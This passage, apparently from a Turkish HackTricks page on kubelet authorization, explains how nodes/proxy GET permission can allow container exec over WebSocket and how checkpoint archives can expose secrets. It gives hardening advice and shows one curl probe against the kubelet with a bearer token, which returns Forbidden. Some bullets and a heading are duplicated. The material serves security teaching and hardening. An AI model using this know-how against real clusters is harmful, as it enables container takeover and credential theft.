Mümkün olduğunda monitoring ve diagnostics için bu daha dar subresourceları kullanın. Sıradan metrics, stats, health, pod-listing veya config review için geniş `nodes/proxy` yetkisi vermekten kaçının; çünkü `nodes/proxy`, daha yüksek etkiye sahip kubelet APIlerini de kapsar.
> [!NOTE]
> WebSocket tabanlı `/exec`, `/run`, `/attach`, ve `/portforward` varsayılan **proxy** subresourceuna girer ve ilk HTTP **GET** handshakei kullanılarak yetkilendirilir. Sadece `nodes/proxy` **GET** yetkisine sahip bir principal, `https://<node_ip>:10250` adresine doğrudan WebSockets üzerinden bağlanırsa yine de containerlarda exec yapabilir. Ayrıntılar için [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) bölümüne bakın.
Kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) başka bir hassas kubelet yüzeyidir. Kubernetes v1.30, container checkpointingi beta hale getirdi ve varsayılan olarak etkinleştirdi; ancak bir istek yine de kubelet yetkilendirmesine ve CRI-O veya checkpoint/CRIU capabilityye sahip containerd gibi runtime desteğine bağlıdır. Başarılı checkpointler kubelet root directory altında yazılır; varsayılan olarak `/var/lib/kubelet/checkpoints` ve process memory içinde token, key veya application secret içerebilir. `nodes/checkpoint` yetkisini kısıtlayın, eski read-only portu devre dışı bırakın, doğrudan kubelet network reachabilityyi sınırlayın ve feature kasıtlı olarak kullanılıyorsa checkpoint archivelarını izleyin veya temizleyin.
Örneğin, aşağıdaki istek izin olmadan kubeletin pods bilgisine erişmeye çalıştı:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Bir **Forbidden** aldık; bu, isteğin **kimlik doğrulama kontrolünü geçtiğini** gösteriyor. Aksi takdirde yalnızca `Unauthorised` mesajı alırdık.
- **username**'ı görebiliyoruz (bu durumda token'dan).
- **resource**'un **nodes** ve **subresource**'un **proxy** olduğunu kontrol edin (bu, önceki bilgilerle mantıklı).
- Bir **Forbidden** aldık, bu yüzden istek **Authentication kontrolünü geçti**. Geçmeseydi sadece bir `Unauthorised` mesajı alırdık.
- **username** değerini görebiliyoruz (bu durumda tokendan)
- **resource**un nasıl **nodes** ve **subresource**un **proxy** olduğunu kontrol et (bu, önceki bilgiyle uyumlu)
## Referanslar
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}